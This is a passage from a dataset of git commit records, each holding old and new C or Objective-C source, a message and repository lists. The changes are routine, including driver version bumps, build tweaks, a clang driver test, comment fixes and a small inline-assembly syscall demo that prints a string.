{\n\tunsigned int ret;\n\tunsigned int tmp;\n\t__asm__ __volatile__ (\n\t\t\"rd %%psr, %0\\n\\t\"\n\t\t\"andn %0, %2, %1\\n\\t\"\n\t\t\"wr %1, 0, %%psr\\n\\t\"\n\t\t\" nop; nop; nop\\n\"\n\t\t: \"=&r\" (ret), \"=r\" (tmp)\n\t\t: \"i\" (PSR_ET)\n\t\t: \"memory\"\n\t);\n\treturn ret;\n}\n\nvoid __attribute__ ((noreturn)) arch_shutdown(arch_shutdown_mode_t mode) {\n\n\tipl_disable();\n\tarch_excep_disable();\n\tasm (\"ta 0\");\n\n\twhile (1) {}\n}\n","subject":"Add power down mode for idle circle","message":"sparc: Add power down mode for idle circle","lang":"C","license":"bsd-2-clause","repos":"abusalimov\/embox,mike2390\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kefir0192\/embox,embox\/embox,embox\/embox,abusalimov\/embox,gzoom13\/embox,gzoom13\/embox,Kakadu\/embox,mike2390\/embox,mike2390\/embox,embox\/embox,gzoom13\/embox,Kefir0192\/embox,Kakadu\/embox,Kakadu\/embox,Kefir0192\/embox,gzoom13\/embox,mike2390\/embox,Kakadu\/embox,Kefir0192\/embox,abusalimov\/embox,abusalimov\/embox,Kakadu\/embox,vrxfile\/embox-trik,embox\/embox,gzoom13\/embox,Kefir0192\/embox,Kefir0192\/embox,mike2390\/embox,abusalimov\/embox,vrxfile\/embox-trik,mike2390\/embox,vrxfile\/embox-trik,gzoom13\/embox,vrxfile\/embox-trik,Kakadu\/embox,vrxfile\/embox-trik,Kefir0192\/embox,vrxfile\/embox-trik,embox\/embox,mike2390\/embox,embox\/embox,Kakadu\/embox,gzoom13\/embox"}
{"commit":"5527ee34788794f84b8730d01eb8383aa898fd59","old_file":"include\/mintpack\/random.h","new_file":"include\/mintpack\/random.h","old_contents":"#ifndef __MINTPACK_RANDOM_H__\n#define __MINTPACK_RANDOM_H__\n\n#include <mintomic\/mintomic.h>\n\n\n\/\/-------------------------------------\n\/\/  PRNG that seeds itself using various information from the environment.\n\/\/  generate() is uniformly distributed across all 32-bit integer values.\n\/\/  generateUnique() returns unique integers 2^32 times in a row, then repeats the sequence.\n\/\/-------------------------------------\nclass Random\n{\nprivate:\n    static const int kNumOffsets = 8;\n    static mint_atomic32_t m_sharedCounter;\n    uint32_t m_value;\n    uint32_t m_offsets[kNumOffsets];\n\npublic:\n    Random();\n    uint32_t generate32();\n    uint32_t generateUnique32();\n    uint64_t generate64()\n    {\n        return (((uint64_t) generate32()) << 32) | generate32();\n    }\n};\n\n\n#endif \/\/ __MINTPACK_RANDOM_H__\n","new_contents":"#ifndef __MINTPACK_RANDOM_H__\n#define __MINTPACK_RANDOM_H__\n\n#include <mintomic\/mintomic.h>\n\n\n\/\/-------------------------------------\n\/\/  PRNG that seeds itself using various information from the environment.\n\/\/  generate32() is uniformly distributed across all 32-bit integer values.\n\/\/  generateUnique32() returns unique integers 2^32 times in a row, then repeats the sequence.\n\/\/-------------------------------------\nclass Random\n{\nprivate:\n    static const int kNumOffsets = 8;\n    static mint_atomic32_t m_sharedCounter;\n    uint32_t m_value;\n    uint32_t m_offsets[kNumOffsets];\n\npublic:\n    Random();\n    uint32_t generate32();\n    uint32_t generateUnique32();\n    uint64_t generate64()\n    {\n        return (((uint64_t) generate32()) << 32) | generate32();\n    }\n};\n\n\n#endif \/\/ __MINTPACK_RANDOM_H__\n","subject":"Fix function names in Random comment","message":"Fix function names in Random comment\n","lang":"C","license":"bsd-3-clause","repos":"adream307\/mintomic,UIKit0\/mintomic,adream307\/mintomic,mulle-nat\/mintomic,mintomic\/mintomic,mintomic\/mintomic,mulle-nat\/mintomic,UIKit0\/mintomic"}
{"commit":"a9623da05f8a2930fadafd27fe621b16886b259d","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k11\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k0\"\n","subject":"Update driver version to 5.04.00-k0","message":"[SCSI] qla4xxx: Update driver version to 5.04.00-k0\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"0cd78c0a12ebc84b56a58016fbcc83aefba64e1a","old_file":"fitz\/base_time.c","new_file":"fitz\/base_time.c","old_contents":"#ifdef _WIN32\n\n#include <time.h>\n#include <winsock2.h>\n#include <windows.h>\n\n#if defined(_MSC_VER) || defined(_MSC_EXTENSIONS)\n#define DELTA_EPOCH_IN_MICROSECS 11644473600000000Ui64\n#else\n#define DELTA_EPOCH_IN_MICROSECS 11644473600000000ULL\n#endif\n\nstruct timeval;\n\nint gettimeofday(struct timeval *tv, struct timezone *tz)\n{\n\tFILETIME ft;\n\tunsigned __int64 tmpres = 0;\n\n\tif (tv)\n\t{\n\t\tGetSystemTimeAsFileTime(&ft);\n\n\t\ttmpres |= ft.dwHighDateTime;\n\t\ttmpres <<= 32;\n\t\ttmpres |= ft.dwLowDateTime;\n\n\t\ttmpres \/= 10; \/*convert into microseconds*\/\n\t\t\/*converting file time to unix epoch*\/\n\t\ttmpres -= DELTA_EPOCH_IN_MICROSECS;\n\t\ttv->tv_sec = (long)(tmpres \/ 1000000UL);\n\t\ttv->tv_usec = (long)(tmpres % 1000000UL);\n\t}\n\n\treturn 0;\n}\n\n#else\n\nvoid fz_gettimeofday_dummy() { }\n\n#endif\n","new_contents":"#ifdef _WIN32\n\n#include <time.h>\n#ifndef METRO\n#include <winsock2.h>\n#endif\n#include <windows.h>\n\n#if defined(_MSC_VER) || defined(_MSC_EXTENSIONS)\n#define DELTA_EPOCH_IN_MICROSECS 11644473600000000Ui64\n#else\n#define DELTA_EPOCH_IN_MICROSECS 11644473600000000ULL\n#endif\n\nstruct timeval;\n\nint gettimeofday(struct timeval *tv, struct timezone *tz)\n{\n\tFILETIME ft;\n\tunsigned __int64 tmpres = 0;\n\n\tif (tv)\n\t{\n\t\tGetSystemTimeAsFileTime(&ft);\n\n\t\ttmpres |= ft.dwHighDateTime;\n\t\ttmpres <<= 32;\n\t\ttmpres |= ft.dwLowDateTime;\n\n\t\ttmpres \/= 10; \/*convert into microseconds*\/\n\t\t\/*converting file time to unix epoch*\/\n\t\ttmpres -= DELTA_EPOCH_IN_MICROSECS;\n\t\ttv->tv_sec = (long)(tmpres \/ 1000000UL);\n\t\ttv->tv_usec = (long)(tmpres % 1000000UL);\n\t}\n\n\treturn 0;\n}\n\n#else\n\nvoid fz_gettimeofday_dummy() { }\n\n#endif\n","subject":"Tweak to allow building on metro.","message":"Tweak to allow building on metro.\n\nLimited testing seems to suggest that the only thing stopping the MuPDF\nlibrary building on metro seems to be the use of winsock.h.\n","lang":"C","license":"agpl-3.0","repos":"hackqiang\/mupdf,crow-misia\/mupdf,knielsen\/mupdf,lustersir\/MuPDF,ArtifexSoftware\/mupdf,lamemate\/mupdf,flipstudio\/MuPDF,FabriceSalvaire\/mupdf-cmake,lolo32\/mupdf-mirror,MokiMobility\/muPDF,geetakaur\/NewApps,sebras\/mupdf,Kalp695\/mupdf,kobolabs\/mupdf,asbloomf\/mupdf,hxx0215\/MuPDFMirror,michaelcadilhac\/pdfannot,tophyr\/mupdf,hjiayz\/forkmupdf,muennich\/mupdf,benoit-pierre\/mupdf,muennich\/mupdf,xiangxw\/mupdf,FabriceSalvaire\/mupdf-v1.3,github201407\/MuPDF,zeniko\/mupdf,poor-grad-student\/mupdf,flipstudio\/MuPDF,ArtifexSoftware\/mupdf,seagullua\/MuPDF,MokiMobility\/muPDF,knielsen\/mupdf,ylixir\/mupdf,github201407\/MuPDF,PuzzleFlow\/mupdf,derek-watson\/mupdf,crow-misia\/mupdf,wzhsunn\/mupdf,kobolabs\/mupdf,cgogolin\/penandpdf,wzhsunn\/mupdf,lustersir\/MuPDF,Kalp695\/mupdf,lamemate\/mupdf,fluks\/mupdf-x11-bookmarks,nqv\/mupdf,hackqiang\/mupdf,github201407\/MuPDF,fluks\/mupdf-x11-bookmarks,ccxvii\/mupdf,sebras\/mupdf,clchiou\/mupdf,ArtifexSoftware\/mupdf,ArtifexSoftware\/mupdf,andyhan\/mupdf,michaelcadilhac\/pdfannot,derek-watson\/mupdf,samturneruk\/mupdf_secure_android,tribals\/mupdf,wzhsunn\/mupdf,Kalp695\/mupdf,wild0\/opened_mupdf,FabriceSalvaire\/mupdf-v1.3,wild0\/opened_mupdf,ArtifexSoftware\/mupdf,issuestand\/mupdf,TamirEvan\/mupdf,muennich\/mupdf,andyhan\/mupdf,kobolabs\/mupdf,poor-grad-student\/mupdf,hxx0215\/MuPDFMirror,robamler\/mupdf-nacl,sebras\/mupdf,muennich\/mupdf,tribals\/mupdf,issuestand\/mupdf,hackqiang\/mupdf,ccxvii\/mupdf,ArtifexSoftware\/mupdf,cgogolin\/penandpdf,geetakaur\/NewApps,asbloomf\/mupdf,andyhan\/mupdf,nqv\/mupdf,loungeup\/mupdf,hxx0215\/MuPDFMirror,lustersir\/MuPDF,wild0\/opened_mupdf,fluks\/mupdf-x11-bookmarks,seagullua\/MuPDF,lamemate\/mupdf,knielsen\/mupdf,wzhsunn\/mupdf,MokiMobility\/muPDF,TamirEvan\/mupdf,hjiayz\/forkmupdf,github201407\/MuPDF,nqv\/mupdf,lolo32\/mupdf-mirror,nqv\/mupdf,samturneruk\/mupdf_secure_android,PuzzleFlow\/mupdf,loungeup\/mupdf,Kalp695\/mupdf,andyhan\/mupdf,hjiayz\/forkmupdf,hjiayz\/forkmupdf,derek-watson\/mupdf,hxx0215\/MuPDFMirror,robamler\/mupdf-nacl,sebras\/mupdf,tribals\/mupdf,seagullua\/MuPDF,issuestand\/mupdf,lustersir\/MuPDF,Kalp695\/mupdf,issuestand\/mupdf,MokiMobility\/muPDF,isavin\/humblepdf,FabriceSalvaire\/mupdf-cmake,samturneruk\/mupdf_secure_android,clchiou\/mupdf,hackqiang\/mupdf,lolo32\/mupdf-mirror,robamler\/mupdf-nacl,FabriceSalvaire\/mupdf-v1.3,wild0\/opened_mupdf,github201407\/MuPDF,isavin\/humblepdf,zeniko\/mupdf,tribals\/mupdf,loungeup\/mupdf,Kalp695\/mupdf,hxx0215\/MuPDFMirror,FabriceSalvaire\/mupdf-v1.3,ziel\/mupdf,zeniko\/mupdf,cgogolin\/penandpdf,zeniko\/mupdf,tophyr\/mupdf,lolo32\/mupdf-mirror,TamirEvan\/mupdf,hackqiang\/mupdf,TamirEvan\/mupdf,lamemate\/mupdf,lolo32\/mupdf-mirror,ziel\/mupdf,muennich\/mupdf,FabriceSalvaire\/mupdf-cmake,geetakaur\/NewApps,hjiayz\/forkmupdf,robamler\/mupdf-nacl,TamirEvan\/mupdf,lolo32\/mupdf-mirror,isavin\/humblepdf,ccxvii\/mupdf,lolo32\/mupdf-mirror,flipstudio\/MuPDF,knielsen\/mupdf,ArtifexSoftware\/mupdf,clchiou\/mupdf,derek-watson\/mupdf,benoit-pierre\/mupdf,PuzzleFlow\/mupdf,ylixir\/mupdf,lamemate\/mupdf,crow-misia\/mupdf,MokiMobility\/muPDF,samturneruk\/mupdf_secure_android,poor-grad-student\/mupdf,cgogolin\/penandpdf,poor-grad-student\/mupdf,hxx0215\/MuPDFMirror,flipstudio\/MuPDF,benoit-pierre\/mupdf,MokiMobility\/muPDF,andyhan\/mupdf,flipstudio\/MuPDF,isavin\/humblepdf,geetakaur\/NewApps,lustersir\/MuPDF,FabriceSalvaire\/mupdf-v1.3,isavin\/humblepdf,FabriceSalvaire\/mupdf-cmake,wzhsunn\/mupdf,benoit-pierre\/mupdf,xiangxw\/mupdf,muennich\/mupdf,clchiou\/mupdf,ziel\/mupdf,geetakaur\/NewApps,michaelcadilhac\/pdfannot,benoit-pierre\/mupdf,derek-watson\/mupdf,sebras\/mupdf,asbloomf\/mupdf,knielsen\/mupdf,kobolabs\/mupdf,benoit-pierre\/mupdf,zeniko\/mupdf,xiangxw\/mupdf,isavin\/humblepdf,PuzzleFlow\/mupdf,PuzzleFlow\/mupdf,tophyr\/mupdf,michaelcadilhac\/pdfannot,FabriceSalvaire\/mupdf-v1.3,tophyr\/mupdf,lustersir\/MuPDF,wzhsunn\/mupdf,ylixir\/mupdf,samturneruk\/mupdf_secure_android,TamirEvan\/mupdf,michaelcadilhac\/pdfannot,crow-misia\/mupdf,tophyr\/mupdf,geetakaur\/NewApps,PuzzleFlow\/mupdf,zeniko\/mupdf,ylixir\/mupdf,loungeup\/mupdf,fluks\/mupdf-x11-bookmarks,loungeup\/mupdf,asbloomf\/mupdf,ylixir\/mupdf,github201407\/MuPDF,tribals\/mupdf,tophyr\/mupdf,xiangxw\/mupdf,poor-grad-student\/mupdf,ziel\/mupdf,fluks\/mupdf-x11-bookmarks,xiangxw\/mupdf,clchiou\/mupdf,poor-grad-student\/mupdf,crow-misia\/mupdf,xiangxw\/mupdf,loungeup\/mupdf,isavin\/humblepdf,ziel\/mupdf,hjiayz\/forkmupdf,andyhan\/mupdf,kobolabs\/mupdf,ArtifexSoftware\/mupdf,issuestand\/mupdf,knielsen\/mupdf,seagullua\/MuPDF,FabriceSalvaire\/mupdf-cmake,seagullua\/MuPDF,muennich\/mupdf,Kalp695\/mupdf,nqv\/mupdf,cgogolin\/penandpdf,crow-misia\/mupdf,nqv\/mupdf,hackqiang\/mupdf,TamirEvan\/mupdf,samturneruk\/mupdf_secure_android,xiangxw\/mupdf,kobolabs\/mupdf,ziel\/mupdf,ccxvii\/mupdf,fluks\/mupdf-x11-bookmarks,ylixir\/mupdf,PuzzleFlow\/mupdf,ccxvii\/mupdf,tribals\/mupdf,kobolabs\/mupdf,robamler\/mupdf-nacl,wild0\/opened_mupdf,flipstudio\/MuPDF,fluks\/mupdf-x11-bookmarks,lamemate\/mupdf,FabriceSalvaire\/mupdf-cmake,clchiou\/mupdf,ccxvii\/mupdf,sebras\/mupdf,derek-watson\/mupdf,michaelcadilhac\/pdfannot,wild0\/opened_mupdf,cgogolin\/penandpdf,wild0\/opened_mupdf,TamirEvan\/mupdf,asbloomf\/mupdf,issuestand\/mupdf,robamler\/mupdf-nacl,asbloomf\/mupdf,seagullua\/MuPDF"}
{"commit":"65a65f46dc4b8d2cf1ee83f05a280fdacbfd2416","old_file":"critmem.h","new_file":"critmem.h","old_contents":"#ifndef CRITMEM_H\n#define CRITMEM_H\n\n#include <sys\/types.h>\n\n\/*@only@*\/\/*@out@*\/\/*@notnull@*\/ void *mycritmalloc(const char *f, long, size_t size,\n\t\t\t\t\tconst char *message);\n\/*@only@*\/\/*@notnull@*\/ void *mycritcalloc(const char *f, long, size_t size,\n\t\t\t      const char *message);\n\/*@only@*\/\/*@out@*\/\/*@notnull@*\/ void *mycritrealloc(const char *f, long,\n\/*@null@*\/\/*@only@*\/\/*@out@*\/\/*@returned@*\/\n\t\t\t\t\t\t       void *a, size_t size,\n\t\t\t\t\t\t       const char *message);\n\/*@only@*\/ char *mycritstrdup(const char *f, long, const char *,\n\t\t\t      const char *message);\n#define critmalloc(a,b) mycritmalloc(__FILE__,(long)__LINE__,a,b)\n#define critcalloc(a,b) mycritcalloc(__FILE__,(long)__LINE__,a,b)\n#define critrealloc(a,b,c) mycritrealloc(__FILE__,(long)__LINE__,a,b,c)\n#define critstrdup(a,b) mycritstrdup(__FILE__,(long)__LINE__,a,b)\n\n#endif\n","new_contents":"#ifndef CRITMEM_H\n#define CRITMEM_H\n\n#include \"config.h\"\n#include <sys\/types.h>\n\n\/*@only@*\/\/*@out@*\/\/*@notnull@*\/ void *mycritmalloc(const char *f, long, size_t size,\n\t\t\t\t\tconst char *message);\n\/*@only@*\/\/*@notnull@*\/ void *mycritcalloc(const char *f, long, size_t size,\n\t\t\t      const char *message);\n\/*@only@*\/\/*@out@*\/\/*@notnull@*\/ void *mycritrealloc(const char *f, long,\n\/*@null@*\/\/*@only@*\/\/*@out@*\/\/*@returned@*\/\n\t\t\t\t\t\t       void *a, size_t size,\n\t\t\t\t\t\t       const char *message);\n\/*@only@*\/ char *mycritstrdup(const char *f, long, const char *,\n\t\t\t      const char *message);\n#define critmalloc(a,b) mycritmalloc(__FILE__,(long)__LINE__,a,b)\n#define critcalloc(a,b) mycritcalloc(__FILE__,(long)__LINE__,a,b)\n#define critrealloc(a,b,c) mycritrealloc(__FILE__,(long)__LINE__,a,b,c)\n#define critstrdup(a,b) mycritstrdup(__FILE__,(long)__LINE__,a,b)\n\n#endif\n","subject":"Include config.h, patch by Ralf Wildenhues.","message":"Include config.h, patch by Ralf Wildenhues.","lang":"C","license":"lgpl-2.1","repos":"BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode"}
{"commit":"ea88107869edaa94959d13d635d8077561942557","old_file":"test\/Driver\/arm-restrict-it.c","new_file":"test\/Driver\/arm-restrict-it.c","old_contents":"","new_contents":"\/\/ RUN: %clang -target arm-none-gnueabi -mrestrict-it -### %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-RESTRICTED < %t %s\n\n\/\/ RUN: %clang -target armv8a-none-gnueabi -mrestrict-it -### %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-RESTRICTED < %t %s\n\n\/\/ CHECK-RESTRICTED: \"-backend-option\" \"-arm-restrict-it\"\n\n\/\/ RUN: %clang -target arm-none-gnueabi -mno-restrict-it -### %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-NO-RESTRICTED < %t %s\n\n\/\/ RUN: %clang -target armv8a-none-gnueabi -mno-restrict-it -### %s 2> %t\n\/\/ RUN: FileCheck --check-prefix=CHECK-NO-RESTRICTED < %t %s\n\n\/\/ CHECK-NO-RESTRICTED: \"-backend-option\" \"-arm-no-restrict-it\"\n","subject":"Add test case for r194593","message":"Add test case for r194593\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@194606 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"979b40c26118cfc50d27eed458d71020e87dc629","old_file":"mcrouter\/CyclesObserver.h","new_file":"mcrouter\/CyclesObserver.h","old_contents":"\/*\n *  Copyright (c) 2015, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\n#include <folly\/experimental\/fibers\/ExecutionObserver.h>\n\n#include \"mcrouter\/lib\/cycles\/Cycles.h\"\n\nnamespace facebook { namespace memcache { namespace mcrouter {\n\nclass CyclesObserver : public folly::fibers::ExecutionObserver {\n public:\n  void starting() noexcept override {\n    if (!cycles::start()) {\n      \/\/ Should never happen\n      DCHECK(false) << \"There is already one cycles interval \"\n                       \"active in this thread\";\n    }\n  }\n  void stopped() noexcept override {\n    cycles::finish();\n  }\n};\n\n}}} \/\/ facebook::memcache::mcrouter\n","new_contents":"\/*\n *  Copyright (c) 2015, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\n#include <folly\/experimental\/fibers\/ExecutionObserver.h>\n\n#include \"mcrouter\/lib\/cycles\/Cycles.h\"\n\nnamespace facebook { namespace memcache { namespace mcrouter {\n\nclass CyclesObserver : public folly::fibers::ExecutionObserver {\n public:\n  void starting(uintptr_t id) noexcept override {\n    if (!cycles::start()) {\n      \/\/ Should never happen\n      DCHECK(false) << \"There is already one cycles interval \"\n                       \"active in this thread\";\n    }\n  }\n  void runnable(uintptr_t id) noexcept override {}\n  void stopped(uintptr_t id) noexcept override {\n    cycles::finish();\n  }\n};\n\n}}} \/\/ facebook::memcache::mcrouter\n","subject":"Add 'runnable' callback to ExecutionObserver","message":"Add 'runnable' callback to ExecutionObserver\n\nSummary: Add a callback when a fiber becomes runnable\n\nTest Plan: unit tests\n\nReviewed By: @andriigrynenko\n\nDifferential Revision: D2081306","lang":"C","license":"bsd-3-clause","repos":"synecdoche\/mcrouter,yqzhang\/mcrouter,tempbottle\/mcrouter,easyfmxu\/mcrouter,reddit\/mcrouter,is00hcw\/mcrouter,nvaller\/mcrouter,is00hcw\/mcrouter,easyfmxu\/mcrouter,easyfmxu\/mcrouter,tempbottle\/mcrouter,leitao\/mcrouter,leitao\/mcrouter,facebook\/mcrouter,facebook\/mcrouter,nvaller\/mcrouter,reddit\/mcrouter,zhlong73\/mcrouter,is00hcw\/mcrouter,evertrue\/mcrouter,zhlong73\/mcrouter,evertrue\/mcrouter,glensc\/mcrouter,nvaller\/mcrouter,easyfmxu\/mcrouter,zhlong73\/mcrouter,glensc\/mcrouter,yqzhang\/mcrouter,zhlong73\/mcrouter,synecdoche\/mcrouter,leitao\/mcrouter,synecdoche\/mcrouter,nvaller\/mcrouter,reddit\/mcrouter,yqzhang\/mcrouter,facebook\/mcrouter,reddit\/mcrouter,evertrue\/mcrouter,synecdoche\/mcrouter,evertrue\/mcrouter,is00hcw\/mcrouter,yqzhang\/mcrouter,tempbottle\/mcrouter,glensc\/mcrouter,tempbottle\/mcrouter,leitao\/mcrouter,facebook\/mcrouter,glensc\/mcrouter"}
{"commit":"9882794a65d52a2d39738f941709a837098f7b5f","old_file":"shellcode\/syscall_inline.c","new_file":"shellcode\/syscall_inline.c","old_contents":"","new_contents":"\/\/ gcc -mpreferred-stack-boundary=2 -ggdb syscall_inline.c -o syscall_inline\n\/\/ syscall.s in inline asm: print to stdout and exit from inline assembler\n#include <stdio.h>\n\nvoid f() {\n  char* str = \"hi\\n\";\n\n  __asm__(\n    \/\/ write str (first local variable, at %ebp-4)\n    \"movl $4, %eax \\n\\t\"\n    \"movl $1, %ebx \\n\\t\"\n    \"movl -4(%ebp), %ecx \\n\\t\"\n    \"movl $3, %edx \\n\\t\"\n    \"int $0x80 \\n\\t\"\n\n    \/\/ exit 0\n    \"movl $1, %eax; \\n\\t\"\n    \"movl $0, %ebx; \\n\\t\"\n    \"int $0x80; \\n\\t\"\n  );\n}\n\nint main(void) {\n  f();\n\n  \/\/ never called because exit\n  printf(\"skipped\\n\");\n\n  return 0;\n}\n","subject":"Make syscalls from C\/inline assembler","message":"Make syscalls from C\/inline assembler\n","lang":"C","license":"mit","repos":"jwhitfieldseed\/sandbox,jwhitfieldseed\/sandbox,jwhitfieldseed\/sandbox,jwhitfieldseed\/sandbox"}
{"commit":"e7e2501f33c89d23bd938fe9f57964cf3f2e276a","old_file":"fw\/libs\/AdapterBoard\/usb_commands.h","new_file":"fw\/libs\/AdapterBoard\/usb_commands.h","old_contents":"\/* USB commands use the first byte as the 'type' variable.\n * Subsequent bytes are generally the 'arguments'.\n * So host->device usb packets usually look like:\n * [command, arg1, arg2, 0, 0, ... , 0, 0]\n * to which the device will respond with\n * [CMD_ACK, command, 0, 0, 0 ..., 0, 0]\n *\n * The exception to this, are the commands which 'GET'\n * For them host->device generally looks like:\n * [command, 0, ..., 0, 0]\n * to which the device responds\n * [CMD_RESP, command, arg1, arg2, 0, ..., 0, 0]\n * *\/\n\n#ifndef USB_COMMANDS_H\n#define USB_COMMANDS_H\n\n#define CMD_ACK          0xAF\n#define CMD_RESP         0xBF\n\n#define CMD_BL_ON        0x10\n#define CMD_BL_OFF       0x11\n#define CMD_BL_LEVEL     0x12\n#define CMD_BL_UP        0x13\n#define CMD_BL_DOWN      0x14\n#define CMD_BL_GET_STATE 0x1F\n\n#define CMD_RGB_SET      0x20\n#define CMD_RGB_GET      0x2F\n\n#endif\n","new_contents":"\/* USB commands use the first byte as the 'type' variable.\n * Subsequent bytes are generally the 'arguments'.\n * So host->device usb packets usually look like:\n * [command, arg1, arg2, 0, 0, ... , 0, 0]\n * to which the device will respond with\n * [CMD_ACK, command, 0, 0, 0 ..., 0, 0]\n *\n * The exception to this, are the commands which 'GET'\n * For them host->device generally looks like:\n * [command, 0, ..., 0, 0]\n * to which the device responds\n * [CMD_RESP, command, arg1, arg2, 0, ..., 0, 0]\n * *\/\n\n#ifndef USB_COMMANDS_H\n#define USB_COMMANDS_H\n\n#define CMD_ACK          0xAF\n#define CMD_RESP         0xBF\n\n#define CMD_BL_ON        0x10\n#define CMD_BL_OFF       0x11\n#define CMD_BL_LEVEL     0x12\n#define CMD_BL_UP        0x13\n#define CMD_BL_DOWN      0x14\n#define CMD_BL_GET_STATE 0x1F\n\n#define CMD_RGB_SET      0x20\n#define CMD_RGB_GET      0x2F\n\n#define IS_GET(x) (x == CMD_RGB_GET || x == CMD_BL_GET_STATE)\n\n#endif\n","subject":"Add a macro to determine whether a GET command","message":"Add a macro to determine whether a GET command\n","lang":"C","license":"bsd-3-clause","repos":"OSCARAdapter\/OSCAR,OSCARAdapter\/OSCAR"}
{"commit":"392db70fa268f52058018bc3b4fe672576e384e5","old_file":"ReactiveCocoaFramework\/ReactiveCocoa\/NSUserDefaults+RACSupport.h","new_file":"ReactiveCocoaFramework\/ReactiveCocoa\/NSUserDefaults+RACSupport.h","old_contents":"\/\/\n\/\/  NSUserDefaults+RACSupport.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Matt Diephouse on 12\/19\/13.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class RACChannelTerminal;\n\n@interface NSUserDefaults (RACSupport)\n\n\/\/ Creates and returns a terminal for binding the user defaults key.\n\/\/\n\/\/ key - The user defaults key to create the channel terminal for.\n\/\/\n\/\/ This makes it easy to bind a property to a default by assigning to\n\/\/ `RACChannelTo`.\n\/\/\n\/\/ The terminal will send the value of the user defaults key upon subscription.\n\/\/\n\/\/ Returns a channel terminal.\n- (RACChannelTerminal *)rac_channelTerminalForKey:(NSString *)key;\n\n@end\n","new_contents":"\/\/\n\/\/  NSUserDefaults+RACSupport.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Matt Diephouse on 12\/19\/13.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class RACChannelTerminal;\n\n@interface NSUserDefaults (RACSupport)\n\n\/\/\/ Creates and returns a terminal for binding the user defaults key.\n\/\/\/\n\/\/\/ key - The user defaults key to create the channel terminal for.\n\/\/\/\n\/\/\/ This makes it easy to bind a property to a default by assigning to\n\/\/\/ `RACChannelTo`.\n\/\/\/\n\/\/\/ The terminal will send the value of the user defaults key upon subscription.\n\/\/\/\n\/\/\/ Returns a channel terminal.\n- (RACChannelTerminal *)rac_channelTerminalForKey:(NSString *)key;\n\n@end\n","subject":"Add a third slash for Xcode","message":"Add a third slash for Xcode\n","lang":"C","license":"mit","repos":"dachaoisme\/ReactiveCocoa,almassapargali\/ReactiveCocoa,on99\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,brightcove\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,chao95957\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,Khan\/ReactiveCocoa,cnbin\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,bencochran\/ReactiveCocoa,jeelun\/ReactiveCocoa,leelili\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,mtxs007\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,DreamHill\/ReactiveCocoa,beni55\/ReactiveCocoa,hbucius\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,ohwutup\/ReactiveCocoa,hj3938\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,Pikdays\/ReactiveCocoa,koamac\/ReactiveCocoa,Eveian\/ReactiveCocoa,gabemdev\/ReactiveCocoa,yizzuide\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,windgo\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,Farteen\/ReactiveCocoa,rpowelll\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,lixar\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,tzongw\/ReactiveCocoa,tiger8888\/ReactiveCocoa,200895045\/ReactiveCocoa,sandyway\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,gengjf\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,jeelun\/ReactiveCocoa,esttorhe\/ReactiveCocoa,calebd\/ReactiveCocoa,valleyman86\/ReactiveCocoa,kevin-z